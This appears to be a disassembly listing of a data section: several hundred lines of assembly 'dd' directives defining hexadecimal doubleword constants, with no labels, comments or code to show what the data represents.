		dd 0BC008DA7h, 0F2135CD1h, 71243D5Ah, 0D830489Fh, 310E168Dh
		dd 0CEA84F84h, 9BE5C815h, 3967A700h, 0E3CDDF95h, 0E11D0096h
		dd 898F4A3Ah, 56071161h, 1664CE52h, 0D308ECE0h,	977154h
		dd 1FB2F72Ah, 58DF8C99h, 7D523800h, 44C3C6FCh, 162100F1h
		dd 0D8E7CB1Eh, 0C100AAC9h, 1BA0D7EAh, 0B5F5ADh,	0C8FB72D4h
		dd 99FD603Eh, 71F22F6h,	7A4002C4h, 45788A51h, 3B9F0EC9h
		dd 4D40C6B2h, 659920F1h, 68135A01h, 270452ABh, 1F9C3ADCh
		dd 44D32E8Dh, 8046A535h, 0FE75414h, 0FBDF7300h,	0AE5F7174h
		dd 20AF016Ch, 57EAD880h, 81622028h, 0C67FC8A0h,	7B8D3600h
		dd 0B61CAA71h, 0C7FE2E2Fh, 1AAE0017h, 0FA7386A1h, 3A403906h
		dd 7E649148h, 0B1BF006Ch, 10EDBB94h, 7A03097Bh,	0BD307F0Bh
		dd 77300176h, 890CBA69h, 0A9EC4046h, 0EB1D632Dh, 34001F75h
		dd 4461D837h, 0FAE73F03h, 28AD2005h, 0ABEBC030h, 27003FCAh
		dd 99C932A1h, 98CB9Fh, 64B435E0h, 85813CDCh, 0BF2F2700h
		dd 26EA9533h, 3BA1010Bh, 36B1D0C6h, 0EDD8309Fh,	9700A6F4h
		dd 0C5D3EF2Eh, 0DE4A3Dh, 0B32665A2h, 0B05F6084h, 0A4FACD0Fh
		dd 0E301579Eh, 25C31F0Ah, 7F3CF970h, 0D07600C8h, 92F1DD24h
		dd 14989EDAh, 53B6C300h, 1D72B06Dh, 9820E3E9h, 1A990087h
		dd 65E3D808h, 0BB00E04Ch, 5F8B7CDFh, 987EB574h,	0AA3D0028h
		dd 0D80E2561h, 0AD00CF98h, 93900DCBh, 39AF4C8Bh, 384DBBD6h
		dd 0D13AF70Fh, 13BE4061h, 48396054h, 30001090h,	9ABCC387h
		dd 1252A17h, 230183E1h,	0C27C4E64h, 0BC80F842h,	63599C40h
		dd 6CABE400h, 6BE5122Dh, 7A0B0A45h, 394E815h, 0D41A2C84h
		dd 0B135C0FFh, 190029ECh, 0F64D0E34h, 6079C8h, 9AB5ED22h
		dd 0AA9D5736h, 0A3A86504h, 0C0AB472Dh, 0E1F2ECCEh, 6A1D247Ch
		dd 0CF8028E5h, 16FB6E44h, 7DD7001Fh, 3458455Fh,	84003EA9h
		dd 6AEC0C94h, 8E2F90h, 8B43CEAh, 0A30BA150h, 0FC028D2Ch
		dd 21577A0Ch, 0DA5002Bh, 3CDF8A7Fh, 48E68112h, 0C2742D07h
		dd 67805864h, 95DAD7h, 0A0D07891h, 0AAEDA12Bh, 0A8240D00h
		dd 0DF54CB59h, 0C2081C88h, 1066E1h, 7404C73Dh, 4D1D2DFFh
		dd 164046FEh, 0A957D78Ch, 0FC8E1CC5h, 32CDC114h, 0C81F794Bh
		dd 66003B31h, 26569E41h, 1383C86h, 8EA74463h, 0B3275Ah
		dd 5407731Ch, 3BE1ECFCh, 5222AA23h, 0FD4E3B01h,	462F982Ah
		dd 132ACBE5h, 9C1C005Ch, 0B4513D92h, 127D709Dh,	0EBC5C0h
		dd 0BED94730h, 0E7F96C3h, 94882E2Ah, 857D6003h,	901D6337h
		dd 6BC224Bh, 50C5A62h, 4F0154B4h, 9F58D146h, 67E86880h
		dd 0C9A307D9h, 0C0F17BE7h, 570EEF5Fh, 0BB445C1Fh, 401B39Dh
		dd 0A4C8072Fh, 1D6316F0h, 40F782FBh, 0EF5C56CAh, 1A4C8965h
		dd 4E27004Ah, 0E42C907Bh, 0FACC0116h, 0B5D594A5h, 0A2802430h
		dd 0B7E09E00h, 0BD84B0Fh, 3FA3000Dh, 5A72AD59h,	38008B70h
		dd 0EF9E0586h, 12356CC5h, 40796B31h, 3A97F9E4h,	511EB813h
		dd 0F02D007h, 60E00B41h, 0F724568h, 76DE1446h, 29084076h
		dd 0A044ED4Fh, 83A4D500h, 7C4A9166h, 0DE420469h, 8037FE63h
		dd 98827FE4h, 1906E4Ch,	741E9F11h, 0A0C496BDh, 0BC4A5803h
		dd 0FEAD0600h, 0A8415CD9h, 30603300h, 3B4F2F1h,	2F29829h
		dd 0A6BCB94Fh, 38C4932Ch, 0CC564800h, 0BD1E0917h, 0B75500C2h
		dd 0A04331FFh, 5A00E9C9h, 6408A7A8h, 1593A0Ah, 0FD670E19h
		dd 0CE0FEC76h, 0AF58E0C0h, 554CF402h, 43735917h, 2F42A893h
		dd 7F06001Fh, 0C09D0E48h, 6300A685h, 0B944512Eh, 67B0D5h
		dd 0F60372F1h, 0CD685BE8h, 467E1A00h, 0CBD09F6Fh, 0CF6D006Ah
		dd 2A0B75DAh, 99015CEDh, 0D7DD4709h, 0B8CBA88Bh, 38C931BEh
		dd 6993E7DCh, 5E5800F4h, 0FC81AC01h, 83E33Ah, 0EAE1DAF8h
		dd 9EA573h, 0B551F971h,	0AFD796B1h, 7B75BC07h, 0E9C087DFh
		dd 0E02F675Fh, 44E200C3h, 66970EA4h, 9205FE75h,	62FB4CAAh
		dd 0B06EB80Ah, 9B2FEA41h, 0ECE929E4h, 0EB7D8Ch,	0F327C9B2h
		dd 0B44DB74h, 0D8FE49h,	8FC44E60h, 1E846611h, 0C7300CEAh
		dd 1FF0CB49h, 47FB814h,	21012CB1h, 92A88005h, 0C605BEC8h
		dd 54641CA0h, 901A5C83h, 0EEE8ED57h, 189902FEh,	0AA4CCD20h
		dd 0C96ADC40h, 9D095D76h, 8062528Ah, 39E8CCACh,	0EDBD0076h
		dd 978B23F6h, 0F200C8DAh, 0C91DEAB0h, 4827C6F4h, 0E500AC1Ch
		dd 5EC4EE50h, 500AF02h,	1D78D2DFh, 3A60B0E2h, 0F880A4BCh
		dd 39BBE5D3h, 630FA14Ch, 6E61202h, 0C808ADh, 3B41ED53h
		dd 0E22FC8A7h, 2C452326h, 0C6F77480h, 0E5CF49h,	0C76D6F2Bh
		dd 11646832h, 39F9F207h, 93505923h, 70BC172Ah, 7EDF0358h
		dd 62D23718h, 0C9EBF7D7h, 75336500h, 8F316B2Dh,	2EEAD09Dh
		dd 0D566E0h, 93DF3E6Ch,	3DAE5B77h, 369D0600h, 88ED7BC5h
		dd 45801D17h, 0B39843EBh, 1A80A82Bh, 910011FDh,	0C34B49D6h
		dd 20043FA4h, 8B108FE5h, 0BA005825h, 0A61F282Dh, 0FD00ED37h
		dd 0F47B50FFh, 7A39ED9h, 0D340A88Eh, 5C40190Eh,	76F042E8h
		dd 43CACB0h, 0E52700B6h, 4CA211F5h, 0AB200049h,	0BD5826F3h
		dd 0D05658Bh, 0DEA4BBF7h, 841D9401h, 6A70BA4Ch,	0D43E05D5h
		dd 0EF50D3Fh, 4DA49194h, 5A1480ECh, 60B7F6DDh, 22BD0Eh
		dd 0B65F9EEEh, 0AAC52075h, 0FD0070B8h, 4D6CB471h, 70C3570h
		dd 1A91E8E1h, 30D7C027h, 0C72E199Ch, 591A045Eh,	0A04C020h
		dd 0F09448DAh, 0BB9EB839h, 0CDCB408Ah, 0FF0B1C8Bh, 985F5Dh
		dd 0D8B18CA0h, 0A90DC3h, 391BDC9Eh, 6FEA488Bh, 6A00C7FEh
		dd 16F4865Bh, 0B07ABCh,	54652273h, 0A9BB2361h, 8CE06806h
		dd 1874A5h, 0E9E689AAh,	1601C446h, 93529102h, 0E0A03B02h
		dd 4BDB75h, 0BAA6F362h,	34D686C6h, 50985239h, 22007DC0h
		dd 0CC68A5CAh, 81849Dh
		dd 1AE1B31Eh, 9070F2AEh, 51D5701h, 0D9F865A3h, 0A0BED6FCh
		dd 9DBAD8h, 20471B40h, 5B94A73Fh, 695E3Fh, 8BF761FBh, 14713D6Ah
		dd 0AC40FA8Dh, 5A5EC807h, 0DB5900B1h, 0F001709h, 82737928h
		dd 20CF9Eh, 0ED4783C1h,	0BA4AE13h, 92F59C00h, 0B8714F4Ah
		dd 0CD6600ECh, 17DF73A1h, 0D000F999h, 7E4907C6h, 1DC833E9h
		dd 0CE92F2D5h, 5FE12C68h, 70746C76h, 0D3003CC6h, 0ADED58BFh
		dd 45A293h, 6D605D3Ah, 84DFE8F1h, 0D0018E8h, 24B5A6F4h
		dd 0A37E6C1Fh, 5C3280B0h, 73891E74h, 4BB240CAh,	0FB8DE957h
		dd 0EC8B7700h, 0F1432667h, 407560D0h, 20A4D2C2h, 5BFD4F00h
		dd 0CA52331Ah, 26DC00EFh, 5A7E650Eh, 161D9E8Ch,	0D900CD1Eh
		dd 6E5D9787h, 3B9F0184h, 78E0F494h, 7B80A6CCh, 25995000h
		dd 3FFA8Eh, 9E4F8C52h, 7294D431h, 0C3BD600h, 847F6C48h
		dd 749C0058h, 649F517Bh, 4101BFC5h, 1E4C4ABEh, 9E0D19Dh
		dd 37F600A2h, 1AEC7B9Eh, 627AAECBh, 34EFAA01h, 808A984Eh
		dd 7847CFC8h, 6F39001Eh, 52F2B39Ch, 82006E71h, 6A62D875h
		dd 3BFC4629h, 802EC540h, 0DAAD09E5h, 0EEB26B00h, 99007914h
		dd 202BD9E9h, 985C17EBh, 0F82018Eh, 0DBBDD58Eh,	58208084h
		dd 873C39ABh, 24AC9AB0h, 75E66C6h, 40250CA4h, 26A7CB70h
		dd 2D7C2109h, 5F9060B1h, 5E130B07h, 0BC200810h,	930BC5E9h
		dd 0D8BDD413h, 38F5A440h, 3B5A3D0Ah, 9D00A43Bh,	6271F6F1h
		dd 9700C08Fh, 33B226B1h, 0DDDA5Bh, 0BBCA0FC9h, 74AC4A86h
		dd 25645058h, 19BC90BDh, 1DA70072h, 57B00540h, 5CF84BC1h
		dd 0FB667000h, 2560924Ah, 0B498DCh, 0D4B51E45h,	266A36D2h
		dd 7DBC6324h, 2502C303h, 14A000ADh, 2F7DA616h, 0C60086E1h
		dd 6337AED9h, 1E929ACBh, 80650536h, 542E46D3h, 660484EEh
		dd 0AEEF5776h, 26E828C0h, 2BF300FCh, 65D69ECh, 19308541h
		dd 0B130A633h, 3FE290h,	3CF7898Ch, 9FB30873h, 980B453Eh
		dd 8AA8C948h, 0E45E0037h, 1D95B7A9h, 57137CA7h,	0BC03D9DBh
		dd 0A12246A0h, 74707191h, 1D251FA8h, 0B87201ACh, 0C4A1734Fh
		dd 9F0FA4E0h, 0A061B5D4h, 70811EC6h, 40570396h,	0BE8F3E7Ah
		dd 2E10BB8h, 0DAB72E00h, 7948302Fh, 36EF0018h, 53646CA4h
		dd 9124C1FFh, 4B0025A3h, 0D63CCB75h, 0E06B79C5h, 0E7C300CFh
		dd 67FC2F19h, 7D00FDABh, 5B702E8Dh, 4423C2Bh, 0ED85DD6Ch
		dd 3754C1D8h, 1A36E835h, 30EFCD2Ch, 0CF5F0F81h,	1060F41Fh
		dd 5C570095h, 0DF0B4CE1h, 7A0637D5h, 0F3E27356h, 0D9D89720h
		dd 0FD2E7F1Eh, 5E87B900h, 6612F05Bh, 403610F5h,	20D3A50Bh
		dd 0B7075F6Ch, 0B76173CDh, 91E295C2h, 9C9C0Ah, 0CF346A20h
		dd 82787E05h, 0AD4A2C05h, 54C03670h, 0F9C65A8h,	881E56E4h
		dd 0C8F6AC81h, 6D142076h, 82E7EC00h, 89F5178Bh,	565218C4h
		dd 0BEAA60F8h, 0AC5A5F7Bh, 0DF6C3004h, 0E3555480h, 0C42B0248h
		dd 4733AA2Eh, 0F2426848h, 1C947300h, 18776323h,	1BEA266Ch
		dd 816987F4h, 49824907h, 0A448E915h, 0F50313D0h, 0CFD90820h
		dd 6B2AB139h, 0A3D1270h, 0DD0ECAEBh, 0AE588098h, 0CB3AD41Dh
		dd 74056C24h, 64B1A882h, 44C0807Dh, 1416269h, 0EAA55E5Fh
		dd 87DB93DDh, 5A76D669h, 11E276h, 0E03E1DEBh, 65607568h
		dd 2600B090h, 0DEFF599Eh, 0A0D5C6A7h, 9F5F4h, 0B8572262h
		dd 0FEB402F9h, 74005A72h, 0A49E978Ch, 73215BBBh, 323D0F26h
		dd 2C401FE4h, 0B22BEE6Bh, 8AA3A100h, 25CD6163h,	1DBB5ED2h
		dd 4F0B8014h, 43DF119h,	72AF6E00h, 35F2F69Dh, 0E5310556h
		dd 0D06690C8h, 0E3B61230h, 0AEDCAB50h, 0CE430084h, 34C3959h
		dd 6F004DAAh, 9947C8BDh, 7ABC0495h, 0E7B0011h, 0E26D1C6Bh
		dd 0A5002B73h, 0E66AB961h, 0FDEDA2Dh, 6367D72Ah, 9ECA0DC0h
		dd 0F20045CDh, 0EC356508h, 0FE54E6h, 0F06733DBh, 8FE290BAh
		dd 1C03E8BEh, 0B8AAA08Bh, 0FC0EDC94h, 0F2113078h, 80F889A1h
		dd 0CB14AB01h, 5346B30Dh, 0E318C24h, 4A50E787h,	32851A80h
		dd 4126D8DEh, 7B9FC01Bh, 0C19A5833h, 5180A68Ch,	35839480h
		dd 8E00B036h, 0EEEDE05Ah, 0CE6FFE95h, 90A0FC59h, 3807F537h
		dd 0E55D6301h, 45D93DF7h, 44204F02h, 40927D3Bh,	0AE0093ADh
		dd 0D0F5951Ch, 1C464E55h, 4A0E9E27h, 0BA2409E9h, 99E2F080h
		dd 8A181C77h, 69B56200h, 0BFA140DBh, 3F50B86Ah,	7DFD3Eh
		dd 0B3CCF3A8h, 0DC5B92AFh, 0EAC36326h, 0D899D600h, 41E9F5h
		dd 1DF1A273h, 2BB3B169h, 4049EA00h, 0FF48A8C0h,	2BA72DFh
		dd 7645E0C5h, 2BC04C0Fh, 4F007B66h, 0FC229A24h,	2DADE9h
		dd 0B7B0D275h, 83B98F11h, 7BD70500h, 0D6565009h, 300A0094h
		dd 603ABB10h, 4F2C5D01h, 89070099h, 6DC1AD1Fh, 0B2E0E306h
		dd 0AA5A004Ch, 9103696Fh, 47071693h, 8CF5EB0h, 0F02E2940h
		dd 30D2001Ah, 31D4C537h, 94A0E3F3h, 1D06E7DBh, 25C719ABh
		dd 5FD80070h, 0D9D2A856h, 9F00717Eh, 0AD7D61E9h, 0AB52A5h
		dd 3D6B4365h, 0D2C8DB14h, 69389D00h, 10C28CB5h,	226C163Eh
		dd 38C001Fh, 0ACDD0FBBh, 5B235007h, 7BA0B042h, 0FE9B0D74h
		dd 14D60031h, 882F15E3h, 30F6F04Ah, 0B9750B00h,	160E1AF3h
		dd 0B4B63EBFh, 0E2533D81h, 202FECA5h, 0C8A1D788h, 43C43093h
		dd 50C4FD0Eh, 810C2922h, 0CFA481ABh, 0B80B16C0h, 91633F04h
		dd 0C1541C83h, 90C3E06Eh, 66D0ADA3h, 623F88B4h,	30C30B87h
		dd 0B10CE03Dh, 9F1B0059h, 2C88F57Bh, 0D0131931h, 0A85E2047h
		dd 0A4E404BCh, 649C94E6h, 246C00AEh, 0D606B1C4h, 183A0CB7h
		dd 79EE8008h, 27D246D4h, 0DE7C0073h, 0C14A920Eh, 46B005C3h
		dd 0B316049Eh, 982D90Bh, 2C60107Eh, 209A5D52h, 0D3FD2800h
		dd 0AC313011h, 160DE59h, 8247E7Ah, 0D8806C7Dh, 581E8A78h
		dd 8B0D54Eh, 3CBCC00h, 0BA46FD4Ah, 618ECBBh, 2808251Ah
		dd 0A1007875h, 44F25C3Eh, 4E090F01h, 0E1A4001Dh, 0E276433Dh
		dd 0BEDDD100h, 554E9A1Ah, 97260B2Ch, 4060583Ch,	93487FE6h
		dd 0D1D20ECCh, 0EE0B40D6h, 2CA9570Ch, 9008F805h, 3311C060h
		dd 0E23E6CC3h, 7C9E1E71h, 0DD80FB4Ah, 76618144h, 57008F9Ch
		dd 27798A3Ch, 6094ECDEh, 38AFC27Dh, 0A8028CF9h,	310DC51Eh
		dd 98C45Ch, 0E9EB5EABh,	0A71C97C2h, 3AE2EC00h, 5CF50425h
		dd 4BD50B02h, 0D7B194h,	1AB57581h, 3ECEC18Eh, 0D87F2D95h
		dd 20589376h, 800D3EDBh, 65DE1656h, 0E261D914h,	12E07E67h
		dd 741A28Ah, 3A083208h,	1580BEE0h, 0BFC566FAh, 4090386Eh
		dd 0E9028DE0h, 43449F32h, 6C98E0A1h, 97350176h,	7CB57BBh
		dd 0D83CD8h, 7D4790F9h,	0E53DCACh, 0B9CF9DA1h, 0D55582A0h
		dd 0ED0005D1h, 306FC3Bh, 1DD8115h, 5A36E8F8h, 0C41012A0h
		dd 0A3091F5Bh, 85CA0222h, 94C1C1A0h, 30702D19h,	83A70361h
		dd 0BB8511E5h, 307D28C1h, 5200EC1Ah, 0A2F91B9Eh, 18E8B06h
		dd 1F5FFDCCh, 7019136Bh, 0AE4AE084h, 0E3CFD400h, 2DFB589Fh
		dd 84900E73h, 11013341h, 9DE72BB2h, 3CC0771Ch, 6E9F073Dh
		dd 0B03BC384h, 0BA505AA7h, 61CB9200h, 6AC53FF2h, 677138h
		dd 9966DB79h, 6C60739Bh, 0EF2494B8h, 20002CFBh,	0C2CFEE52h
		dd 3FB17345h, 53249482h, 0B98A00C8h, 0CBF0C693h, 0B43F9D00h
		dd 5D8E3BE1h, 151200E6h, 0D84DD77Ah, 2500A13Ah,	0D3928DAh
		dd 1F4A4Bh, 31B41D95h, 0C96EE9A3h, 0A41EFC00h, 0A85A17C5h
		dd 39872D2Bh, 2E3FE438h, 9CDF901Ch, 0C6F782FCh,	0C00B0466h
		dd 38D4313Bh
		dd 500EB496h, 19407326h, 32A987BAh, 157D3F00h, 0FA62D511h
		dd 40930BF8h, 0AE83B36Eh, 48F8DC37h, 8F721ABFh,	0F6728007h
		dd 6D717EEEh, 0EC3EF03Dh, 8FD00FBh, 0C7ACAEA0h,	81C91E39h
		dd 143E0040h, 4F1523CDh, 0A2DA4200h, 0CE22FB0Ah, 2A1B00B8h
		dd 0C40D7FAEh, 0AC0134F3h, 0E70A9751h, 0E0E08F0Eh, 48FAF728h
		dd 705ACE68h, 0A0FD00CCh, 0F0069095h, 0C603D8D3h, 5717BA07h
		dd 9CE89844h, 30F325E3h, 0E1F0D060h, 653E5F00h,	286453DDh
		dd 0C6870029h, 21D0AD4Bh, 812E10Ah, 78D83815h, 4CF407B5h
		dd 0A9627E87h, 0AB5FCE83h, 0F185EED0h, 0A659A900h, 86823C92h
		dd 0D4AA00CAh, 6A633743h, 0E70577C9h, 5848A0BFh, 21A3B9C0h
		dd 1C410099h, 0B038FEADh, 0F600732Bh, 2A22681Ah, 95DD19EFh
		dd 0DE9DB480h, 0F704858Fh, 0FB553CF3h, 0B8C29E80h, 8798B4AEh
		dd 871A63CEh, 515081D6h, 0AF33F438h, 0B8C910C0h, 0BAE44A4Eh
		dd 3CD8A004h, 0A33A3CE8h, 0DA8F9800h, 0CA9C1F9Fh, 0D5829100h
		dd 4ED10FD0h, 0B4AC5h, 1C907CBCh, 0CC03AECDh, 0B0E5920Dh
		dd 1BC1B8F9h, 0B8E35A27h, 0D39002CAh, 0C8A4060Bh, 2ED19F34h
		dd 0A7B0D5BCh, 61D3BC22h, 2301AC60h, 538ACC1Ch,	981875C0h
		dd 0DE5652h, 2219F39Ch,	6D784B4Eh, 0F189A60h, 0A38E03h
		dd 1560905Dh, 85E3971Dh, 6139D40Eh, 944F4033h, 509FE4B9h
		dd 440A72Fh, 0E6F07B58h, 8FF0C772h, 0A745C962h,	992DBC50h
		dd 9A7886D3h, 0B82148BAh, 2075A280h, 0DE00D808h, 0E3A67B12h
		dd 3F3AD0h, 0C5948F2Dh,	2BA1F7C9h, 0DD87B607h, 0B4F12908h
		dd 808522A2h, 40A71370h, 9D35F894h, 95028896h, 51C122EAh
		dd 1E888323h, 6DDAC13Ch, 3FF4A030h, 0A62CA940h,	0E6C8AA0h
		dd 31DE80B4h, 0F0FF2D77h, 3BD9125h, 0B048E9D8h,	98B490CDh
		dd 0C81400D4h, 0DDED1019h, 1A000A87h, 9033A2F7h, 51AF8AC0h
		dd 0F8C9E456h, 8C9C34h,	20F1FFDEh, 8911CE88h, 0A0D6C300h
		dd 0EC18721Ch, 4B6500E1h, 8B22F9EDh, 0B91E5B8Ah, 634073DEh
		dd 0D70AAF29h, 4C70ECDFh, 0EB084016h, 9D4079C6h, 0E534981h
		dd 36EA55B8h, 60924B41h, 80DCE902h, 0A2931E0h, 3F1B8105h
		dd 373EE184h, 0DF857B09h, 20002450h, 21E65CF6h,	0B5A6E0h
		dd 96D6E28h, 47A80C18h,	431DCB00h, 0A1545F59h, 8FD70BC0h
		dd 6D00E6FEh, 0B56E99F2h, 4100CA79h, 8B820557h,	3598096h
		dd 519A896Fh, 0B4C009CBh, 4F028CEEh, 0BCD86986h, 2DA54193h
		dd 0BC20C2A7h, 35D96E80h, 0E2C67801h, 0AF044F48h, 0E0EB5ADCh
		dd 0AE8F144Ah, 1B26D3D9h, 51CE80F4h, 9E99117h, 283BD012h
		dd 0FA10ECE4h, 48292C43h, 24BB0567h, 77F8A0ABh,	0A42E4000h
		dd 654571B0h, 8F6E003Ah, 0D7EB6B38h, 0B4A0158Dh, 4D00D16Fh
		dd 4E77D33Bh, 0A0CEE7DBh, 7030179Ch, 16940BB0h,	43806203h
		dd 0D78A1E3Dh, 9DEEACC5h, 9249B200h, 0EAD669h, 5A30C07h
		dd 10320E7Ah, 0E090DF25h, 6C1450h, 687FCC50h, 834C9957h
		dd 0E0852725h, 515C17h,	8F95A421h, 0E2ED33E7h, 19B7D900h
		dd 86A0C396h, 13A70446h, 0AC52426Fh, 3510048h, 0F4A31C54h
		dd 876C0026h, 0CA6E08FAh, 2400C294h, 3E19E013h,	18E925h
		dd 6FAA603Fh, 27F74362h, 0AF04A4B0h, 782B752Fh,	88CE3E0Fh
		dd 0F298D941h, 8033CC4Bh, 0A1D15A00h, 5999A247h, 0EB640182h
		dd 816FA0D4h, 7E50303Eh, 42BD3303h, 0AA4B1B98h,	0CD40DF22h
		dd 0C509787h, 0A2095FB0h, 5A683A1Dh, 70D25894h,	2637FD00h
		dd 59A3FCECh, 3D07EE1Dh, 0BCA7DE80h, 4C36314h, 66FD50F7h
		dd 99C8809Ah, 9EB0119Fh, 4E04A27Bh, 200BBBEFh, 0E0B39980h
		dd 986A0B83h, 4C84D2A6h, 0E198C749h, 7035F7FAh,	0E400F64Ah
		dd 0F4B17C2Fh, 0CD482Ch, 0DE01FFD7h, 0EC8E4723h, 16D5A3Ch
		dd 46903D8Bh, 5470E151h, 62530277h, 63BAC238h, 9B036C56h
		dd 0B023893Dh, 0F15248h, 0F3757EBEh, 6A2895A6h,	0C0C29D0Eh
		dd 0FFDF631Ah, 0DB818076h, 0D43B2EDEh, 0D0F801A0h, 34613FD3h
		dd 0FC11ADECh, 3D01C088h, 904C57DCh, 8FD130C1h,	0AD172400h
		dd 0B4B10231h, 5688A089h, 0FF1C0074h, 6B30A9F3h, 3A0901B2h
		dd 82E2A485h, 7403E008h, 9180040h, 6584741Eh, 264B8B00h
		dd 0B30EFFE1h, 921303BCh, 2958F932h, 0E75462E0h, 1B656B00h
		dd 22C1F25Ch, 7530F263h, 0A0C0FE1Eh, 954AF6h, 8EBF81CAh
		dd 0A79917B3h, 352DBE01h, 6DD8E194h, 271FBDE4h,	0E400CEF0h
		dd 60390A59h, 27EA1A00h, 1550FC6Ah, 0E58302A8h,	113173FFh
		dd 7E40E476h, 553B6BDh,	0D6B723BFh, 1218D114h, 61D360E0h
		dd 8C0E94A8h, 81712F1Fh, 0A5372042h, 9CA8A08Ah,	0EAC65AD2h
		dd 7BF3013Bh, 3205A248h, 2F59C90Ch, 0F51EEC00h,	9D94BD9Bh
		dd 0F139A000h, 954E3F47h, 0D33C11A8h, 87601980h, 30DC3353h
		dd 9757AE16h, 78839000h, 0F66C282Ah, 0ED5D1934h, 8747189Ah
		dd 0B6CA987Eh, 0B4817335h, 0A2FCB008h, 0FDBB07D0h, 60F2BEC8h
		dd 78B27DACh, 730064E6h, 0B6C6E91Ch, 84F8ADh, 0A0D7D454h
		dd 25EB98A9h, 0E069CA00h, 851BAE3Dh, 22081DB1h,	2E350714h
		dd 8111B0E3h, 2D02E8C6h, 481ACDABh, 54908071h, 9CC8D7h
		dd 25941C0Bh, 0EA227512h, 147CAB0Fh, 0A265A081h, 2F3C0D16h
		dd 0AF54F494h, 928F803Eh, 51FFC3B8h, 606E01D6h,	0E9F44E32h
		dd 4A90708Ah, 0A318A900h, 10B372E0h, 7F4D3FB2h,	8027919Eh
		dd 9521CFB8h, 2900C923h, 0E4FCF680h, 0B834Bh, 5618F4E1h
		dd 0A3224052h, 1A642095h, 954E1769h, 0ADBCA640h, 0EEA21201h
		dd 833F2A6Ch, 1D53430h,	0CE7A410Fh, 47BE7C0Ah, 3C290D0h
		dd 19003020h, 9EAAA5EEh, 6C809E3h, 361BF2EFh, 880054CCh
		dd 4AFB118Fh, 0BA643Eh,	0F912B654h, 2E748C48h, 0F652B713h
		dd 91C4E0h, 62D1D54Ah, 78ABE495h, 98BF9209h, 4EC0C03Bh
		dd 0E7280759h, 21FE7655h, 0EC820E1Bh, 0D65B4BF7h, 32AE7C00h
		dd 38B34320h, 0A28019ABh, 0B1D7A512h, 0B0056A0Ch, 72704176h
		dd 48FD2CB0h, 2909801Bh, 28D8AEDFh, 4D7D1203h, 1788C1Ah
		dd 0A17B0310h, 60C95B5Ah, 2B00C85Ah, 872635DFh,	14DBD055h
		dd 0FC94BAE8h, 0C0156600h, 39AF1A5Ch, 1F01FA72h, 7806E3C4h
		dd 3BE2EBh, 0FC0EAD4Ch,	0E60054BCh, 250CD7E8h, 3FC632A3h
		dd 0BE008AB0h, 72BFB2E4h, 0AE2E2F02h, 148BA476h, 1F10E031h
		dd 0F5A007B9h, 109C123Ah, 90EB46F9h, 3EB48A04h,	0DC94157Dh
		dd 0C232DA80h, 0E81D6343h, 3BF922CFh, 798050C1h, 25774235h
		dd 0C8C3093Dh, 0DBE454C0h, 0D0B8962Eh, 0D04FE884h, 0AF30FCA8h
		dd 0ACA8D721h, 0C002047Dh, 0DB6E9748h, 8B61C377h, 0B6891284h
		dd 0C21C900Eh, 21005CF1h, 3953E17Bh, 96C7D13h, 249926B1h
		dd 4700B872h, 3CB07822h, 0F2A3F3h, 54E2907Eh, 0F98A6625h
		dd 0E126EF2h, 34F06D2Fh, 6FA50131h, 0DB78077Ch,	728028C1h
		dd 0EA6C7300h, 0AECE85D7h, 62FF09A9h, 40A03650h, 0FD131DC1h
		dd 402AC8C0h, 0F23ABAE7h, 79910215h, 0D9D5AC0Bh, 0A8994440h
		dd 0B881C800h, 3F631F98h, 678803D8h, 0BB323476h, 59CA6A8h
		dd 0A95D2716h, 0AB8D5480h, 0CC593D76h, 96AAF384h, 0BD0DC05Ah
		dd 0D8F356A2h, 137A19E6h, 45304B60h, 9D40460h, 0DDB5BFAEh
		dd 0E2E97418h, 0ED3EF0Bh, 0F63C04F9h, 762CAA80h, 90816050h
		dd 87686CEDh, 0D8C796A0h, 379009C0h, 62771665h,	0C8F629D4h
		dd 62F7C363h, 8607D2Fh,	0B30162AEh, 0CC8E0D2Eh,	24806AD4h
		dd 0B866F6EDh, 733FF3E3h
		dd 0F83180ACh, 65A8E2BAh, 0C3160758h, 0F3A7013Eh, 4F06DF7h
		dd 15E2CA90h, 576096F0h, 4279B770h, 0E4E85894h,	16C05B00h
		dd 596EAB64h, 927ADEF6h, 58E60731h, 0F9F42A06h,	60AA0AAEh
		dd 9E4C583h, 0BC42914Bh, 0A90064F0h, 23435BB2h,	3B77CA5Eh
		dd 0E10283A3h, 8B4DBF4Eh, 0ADFC0740h, 0A8008C4Eh, 0E43513BDh
		dd 487E0E76h, 3E401FA8h, 0C4A71505h, 0EC80201h,	0A3B385Fh
		dd 95D65D4h, 8774D079h,	48307010h, 0E95B9B72h, 9E095002h
		dd 0B69F407Fh, 0E35E0037h, 0CFD8D1FFh, 0EC910E4Ah, 5E3067CEh
		dd 0E521FA60h, 0E89A48AEh, 0C9200A3Ch, 52375007h, 3BB03479h
		dd 6C48E1h, 0D5876E20h,	39D2EB9Ch, 2C6123Ch, 66321EDh
		dd 0B9604001h, 0CC0D287Fh, 0F9DE7494h, 68F849FEh, 3FFC022Eh
		dd 68681BC9h, 0E65F30BCh, 2EB9008h, 3F3CAFC4h, 8EF75060h
		dd 0ECDD3300h, 0E8BCC245h, 0AF1E00F5h, 716FBD65h, 0A5029948h
		dd 6D262B56h, 270D4ADh,	0D596FA37h, 0EA44B47Eh,	0C20048EDh
		dd 1D0C591Eh, 0EC92DE29h, 9958AB13h, 0AE07A816h, 0AA608489h
		dd 0F238B3EDh, 0A31E07DFh, 701ADC81h, 0FC3F89F5h, 271C23F6h
		dd 7FC0476Fh, 5F425CA5h, 64831873h, 16D4107Dh, 7AF55000h
		dd 57AB6662h, 84A30267h, 0D7DCBFA4h, 2BB7EEE0h,	7C78FF00h
		dd 0EDCD0249h, 0DED4FB40h, 62990028h, 0FBA59D64h, 0A0003D04h
		dd 0BB73D570h, 0A36E05h, 0B336D10Bh, 2E85D98Bh,	4C1F83F0h
		dd 5D00C74Fh, 9290CB5Ah, 0C17C3E3Eh, 2CF2B001h,	0C453A641h
		dd 1B7D60BCh, 3062C800h, 0F555D69Eh, 0ACE160ACh, 0FA9B8FFFh
		dd 4B132E00h, 9FFDC0E8h, 555C0009h, 29C4AFE7h, 0BB00B5DAh
		dd 0B2549CDFh, 22FC1E2h, 49F40BD0h, 9CA03F8Fh, 0E5D781D6h
		dd 0CE8C310Ch, 0BA7073h, 6FEA100Fh, 232409B9h, 0FD3E2C18h
		dd 28BF40h, 4FCE27FFh, 0C8905A31h, 9E193Bh, 9B7742E9h
		dd 786BF5A2h, 91ED00B4h, 0EFAD237Ch, 3119781Eh,	4179BE9Dh
		dd 39017C0h, 6721F6A5h,	5698D2ABh, 521FE85Fh, 0C940A29Fh
